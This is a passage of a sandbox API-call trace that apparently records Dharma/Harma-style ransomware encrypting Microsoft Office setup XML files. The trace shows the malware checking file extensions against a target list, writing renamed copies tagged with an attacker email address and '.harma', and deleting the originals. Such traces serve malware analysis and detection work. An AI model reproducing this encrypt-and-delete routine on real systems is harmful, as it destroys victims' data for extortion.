controller\\outlook.en-us\\setup.xml")) returned 1 [0050.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.765] lstrlenW (lpString=".doc") returned 4 [0050.765] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.765] lstrlenW (lpString=".docx") returned 5 [0050.765] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.765] lstrlenW (lpString=".pdf") returned 4 [0050.765] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.765] lstrlenW (lpString=".xls") returned 4 [0050.765] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.765] lstrlenW (lpString=".xlsx") returned 5 [0050.765] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.766] lstrlenW (lpString=".ppt") returned 4 [0050.766] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.766] lstrlenW (lpString=".zip") returned 4 [0050.766] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.766] lstrlenW (lpString=".rar") returned 4 [0050.766] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.766] lstrlenW (lpString=".bz2") returned 4 [0050.766] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.766] lstrlenW (lpString=".7z") returned 3 [0050.766] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.766] lstrlenW (lpString=".dbf") returned 4 [0050.766] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.766] lstrlenW (lpString=".1cd") returned 4 [0050.766] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.766] lstrlenW (lpString=".jpg") returned 4 [0050.766] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.766] lstrlenW (lpString=".doc") returned 4 [0050.766] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.767] lstrlenW (lpString=".docx") returned 5 [0050.767] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.767] lstrlenW (lpString=".pdf") returned 4 [0050.767] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.767] lstrlenW (lpString=".xls") returned 4 [0050.767] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.767] lstrlenW (lpString=".xlsx") returned 5 [0050.767] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.767] lstrlenW (lpString=".ppt") returned 4 [0050.767] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.767] lstrlenW (lpString=".zip") returned 4 [0050.767] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.767] lstrlenW (lpString=".rar") returned 4 [0050.767] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.767] lstrlenW (lpString=".bz2") returned 4 [0050.767] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.767] lstrlenW (lpString=".7z") returned 3 [0050.767] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.767] lstrlenW (lpString=".dbf") returned 4 [0050.767] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.767] lstrlenW (lpString=".1cd") returned 4 [0050.767] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0050.768] lstrlenW (lpString=".jpg") returned 4 [0050.768] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.768] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0050.768] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0050.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.768] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1450) returned 1 [0050.768] CloseHandle (hObject=0x1a0) returned 1 [0050.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0050.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.769] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.769] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0052.272] GetLastError () returned 0x0 [0052.272] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0052.273] WriteFile (in: hFile=0x15c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0052.274] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.274] WriteFile (in: hFile=0x15c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0052.275] SetEndOfFile (hFile=0x15c) returned 1 [0052.275] CloseHandle (hObject=0x15c) returned 1 [0052.276] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.276] SetEndOfFile (hFile=0x1a0) returned 1 [0052.277] CloseHandle (hObject=0x1a0) returned 1 [0052.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.277] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0052.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.278] lstrlenW (lpString=".doc") returned 4 [0052.278] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.278] lstrlenW (lpString=".docx") returned 5 [0052.278] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.278] lstrlenW (lpString=".pdf") returned 4 [0052.278] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.278] lstrlenW (lpString=".xls") returned 4 [0052.278] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.278] lstrlenW (lpString=".xlsx") returned 5 [0052.278] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.278] lstrlenW (lpString=".ppt") returned 4 [0052.278] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.278] lstrlenW (lpString=".zip") returned 4 [0052.278] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.278] lstrlenW (lpString=".rar") returned 4 [0052.278] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.278] lstrlenW (lpString=".bz2") returned 4 [0052.278] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.278] lstrlenW (lpString=".7z") returned 3 [0052.278] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.278] lstrlenW (lpString=".dbf") returned 4 [0052.278] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.278] lstrlenW (lpString=".1cd") returned 4 [0052.278] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.279] lstrlenW (lpString=".jpg") returned 4 [0052.279] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.279] lstrlenW (lpString=".doc") returned 4 [0052.279] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.279] lstrlenW (lpString=".docx") returned 5 [0052.279] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.279] lstrlenW (lpString=".pdf") returned 4 [0052.279] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.279] lstrlenW (lpString=".xls") returned 4 [0052.279] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.279] lstrlenW (lpString=".xlsx") returned 5 [0052.279] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.279] lstrlenW (lpString=".ppt") returned 4 [0052.279] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.279] lstrlenW (lpString=".zip") returned 4 [0052.279] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.279] lstrlenW (lpString=".rar") returned 4 [0052.279] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.279] lstrlenW (lpString=".bz2") returned 4 [0052.279] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.279] lstrlenW (lpString=".7z") returned 3 [0052.279] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.279] lstrlenW (lpString=".dbf") returned 4 [0052.279] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.280] lstrlenW (lpString=".1cd") returned 4 [0052.280] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0052.280] lstrlenW (lpString=".jpg") returned 4 [0052.280] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.280] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.280] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0052.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.280] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1452) returned 1 [0052.280] CloseHandle (hObject=0x1a0) returned 1 [0052.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0052.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.281] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.281] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0052.283] GetLastError () returned 0x0 [0052.283] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0052.285] WriteFile (in: hFile=0x15c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0052.286] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.286] WriteFile (in: hFile=0x15c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0052.286] SetEndOfFile (hFile=0x15c) returned 1 [0052.286] CloseHandle (hObject=0x15c) returned 1 [0052.287] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.287] SetEndOfFile (hFile=0x1a0) returned 1 [0052.288] CloseHandle (hObject=0x1a0) returned 1 [0052.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.288] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0052.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.289] lstrlenW (lpString=".doc") returned 4 [0052.289] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.289] lstrlenW (lpString=".docx") returned 5 [0052.289] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.289] lstrlenW (lpString=".pdf") returned 4 [0052.289] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.289] lstrlenW (lpString=".xls") returned 4 [0052.289] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.289] lstrlenW (lpString=".xlsx") returned 5 [0052.289] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.289] lstrlenW (lpString=".ppt") returned 4 [0052.289] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.289] lstrlenW (lpString=".zip") returned 4 [0052.289] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.289] lstrlenW (lpString=".rar") returned 4 [0052.289] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.289] lstrlenW (lpString=".bz2") returned 4 [0052.289] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.289] lstrlenW (lpString=".7z") returned 3 [0052.289] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.289] lstrlenW (lpString=".dbf") returned 4 [0052.289] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.290] lstrlenW (lpString=".1cd") returned 4 [0052.290] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.290] lstrlenW (lpString=".jpg") returned 4 [0052.290] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.290] lstrlenW (lpString=".doc") returned 4 [0052.290] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.290] lstrlenW (lpString=".docx") returned 5 [0052.290] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.290] lstrlenW (lpString=".pdf") returned 4 [0052.290] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.290] lstrlenW (lpString=".xls") returned 4 [0052.290] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.290] lstrlenW (lpString=".xlsx") returned 5 [0052.290] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.290] lstrlenW (lpString=".ppt") returned 4 [0052.290] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.290] lstrlenW (lpString=".zip") returned 4 [0052.290] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.290] lstrlenW (lpString=".rar") returned 4 [0052.290] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.290] lstrlenW (lpString=".bz2") returned 4 [0052.290] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.290] lstrlenW (lpString=".7z") returned 3 [0052.290] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.291] lstrlenW (lpString=".dbf") returned 4 [0052.291] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.291] lstrlenW (lpString=".1cd") returned 4 [0052.291] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0052.291] lstrlenW (lpString=".jpg") returned 4 [0052.291] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.291] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.291] lstrlenW (lpString="SETUP.XML") returned 9 [0052.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.291] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1872) returned 1 [0052.292] CloseHandle (hObject=0x1a0) returned 1 [0052.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0052.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.292] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.292] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0052.292] GetLastError () returned 0x0 [0052.292] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x750, lpOverlapped=0x0) returned 1 [0052.294] WriteFile (in: 